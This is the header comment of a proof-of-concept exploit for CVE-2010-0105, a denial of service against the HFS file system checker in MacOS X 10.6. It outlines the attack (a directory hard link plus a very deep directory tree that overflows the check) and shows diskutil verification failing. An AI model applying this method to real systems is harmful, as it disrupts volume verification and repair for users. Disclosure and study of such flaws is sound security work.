/* 	Proof of Concept for CVE-2010-0105
	MacOS X 10.6 hfs file system attack (Denial of Service)
	by Maksymilian Arciemowicz from SecurityReason.com

	http://securityreason.com/achievement_exploitalert/15
	
	NOTE:
	
	This DoS will be localized in phase
	
	Checking multi-linked directories

	So we need activate it with line
	
		connlink("C/C","CX");

	Now we need create PATH_MAX/2 directory tree to make overflow.

	and we should get diskutil and fsck_hfs exit with sig=8
	
	~ x$ diskutil verifyVolume /Volumes/max2
	Started filesystem verification on disk0s3 max2
	Performing live verification
	Checking Journaled HFS Plus volume
	Checking extents overflow file
	Checking catalog file
	Checking multi-linked files
	Checking catalog hierarchy
	Checking extended attributes file
	Checking multi-linked directories
	Maximum nesting of folders and directory hard links reached
	The volume max2 could not be verified completely
	Error: -9957: Filesystem verify or repair failed
	Underlying error: 8: POSIX reports: Exec format error
